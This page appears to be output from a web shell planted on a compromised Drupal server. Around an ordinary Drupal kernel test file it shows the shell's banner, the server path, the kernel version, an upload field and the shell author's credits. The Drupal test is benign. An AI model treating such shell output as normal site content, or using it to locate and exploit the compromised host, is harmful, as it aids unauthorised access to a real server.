Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/ift/web/core/modules/update/tests/src/Kernel/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/ift/web/core/modules/update/tests/src/Kernel/UpdateReportTest.php

<?php

namespace Drupal\Tests\update\Kernel;

use Drupal\KernelTests\KernelTestBase;

/**
 * Tests update report functionality.
 *
 * @covers template_preprocess_update_report()
 * @group update
 */
class UpdateReportTest extends KernelTestBase {

  /**
   * {@inheritdoc}
   */
  protected static $modules = [
    'system',
    'update',
  ];

  /**
   * @dataProvider providerTemplatePreprocessUpdateReport
   */
  public function testTemplatePreprocessUpdateReport($variables) {
    \Drupal::moduleHandler()->loadInclude('update', 'inc', 'update.report');

    // The function should run without an exception being thrown when the value
    // of $variables['data'] is not set or is not an array.
    template_preprocess_update_report($variables);

    // Test that the key "no_updates_message" has been set.
    $this->assertArrayHasKey('no_updates_message', $variables);
  }

  /**
   * Provides data for testTemplatePreprocessUpdateReport().
   *
   * @return array
   *   Array of $variables for template_preprocess_update_report().
   */
  public function providerTemplatePreprocessUpdateReport() {
    return [
      '$variables with data not set' => [
        [],
      ],
      '$variables with data as an interger' => [
        ['data' => 4],
      ],
      '$variables with data as a string' => [
        ['data' => 'I am a string'],
      ],
    ];
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net